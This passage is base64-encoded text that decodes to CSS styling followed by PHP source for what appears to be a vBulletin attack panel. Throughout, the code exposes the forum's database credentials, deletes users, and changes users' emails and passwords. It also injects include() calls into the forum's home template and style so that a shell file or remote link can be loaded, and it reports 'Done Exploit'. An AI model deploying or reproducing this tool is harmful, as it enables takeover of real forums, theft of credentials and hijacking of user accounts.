CM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09
MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlc
mRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1
SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZ
GFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQp
CT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFR
lQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0
KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzM
zMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZ
mZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JER
VI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWR
hZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QO
iAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1
CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5c
HQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZ
mZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgI
zk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1
DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJta
XQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI
3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SS
UdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkR
FUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNC
kJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZ
mZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvc
jogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZ
pc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZ
WQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9
OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9I
mxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFs
nYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwY
XRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJ
nY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib
3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8
gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyP
g0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWd
bJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8d
HI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZ
pZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8d
HI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlcid
dWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvc
j1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXl
lbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvd
HI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4
gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L
3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXI
nXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09I
mRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCd
dOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX
1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3Q
sJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yP
XllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGI
pIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT
25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlV
MTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlI
GNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9
zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9ud
D4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN
0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb
250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9
tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJ
HF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnV
zZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkP
lVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCml
mKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT
1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQ
oJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ
3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0
gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvb
nQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGg
gdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkP
k5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk
7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJ
HBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCB
zZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Z
m9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWV
sbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9ud
CBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDB
GRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiL
nByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWA
gPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wc
mludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0
gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0P
W15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A
+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7D
QplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCR
yZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpb
mRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30
NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZ
XQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiB
pc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX
1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQo
kaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yI
GRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN
0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY
29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI
8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJ
G5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHR
oZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5I
HVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQ
gY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgb
mFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGN
vbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgY
HRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWA
gPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuI
CRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9
yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3Vsd
Ckge2VjaG8gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjx
wPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7D
QppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI
8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TV
FsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiA
kYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc
3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0
gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zd
CwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I
9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkY
ikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGN
Pbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOV
UxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdS
BhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAu
ICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC
9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBz
ZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD
48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUg
YHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC
4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBg
dGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IF
wnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9
fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IF
wnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkg
b3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3
FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNl
ciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT
0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCdd
KSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYX
NzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2
YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdX
NlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVs
bG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3
IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5l
Y3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJz
sNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29u
bmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC
4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAs
IHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZC
BEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+
JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldC
BlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0K
JHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PG
ZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJl
ZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2
ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVm
PSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY2
9sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNz
ZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3
Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9QT1NU
Wyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2
hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRi
ID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1
NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQg
Y29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdX
NlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5v
cGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQ
ppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBh
c3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZX
J2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9u
dCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG
93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBj
b2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRj
AwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAk
dmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPS
BteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBt
ZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID
0gJ3VwZGF0ZSB1c2VyIHNldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFt
ZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQ
p7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2Vy
IDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbG
xvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2Zv
bnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNoby
AnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250
PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVF
sndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAk
YWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2
VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29u
bmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PG
ZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2Vs
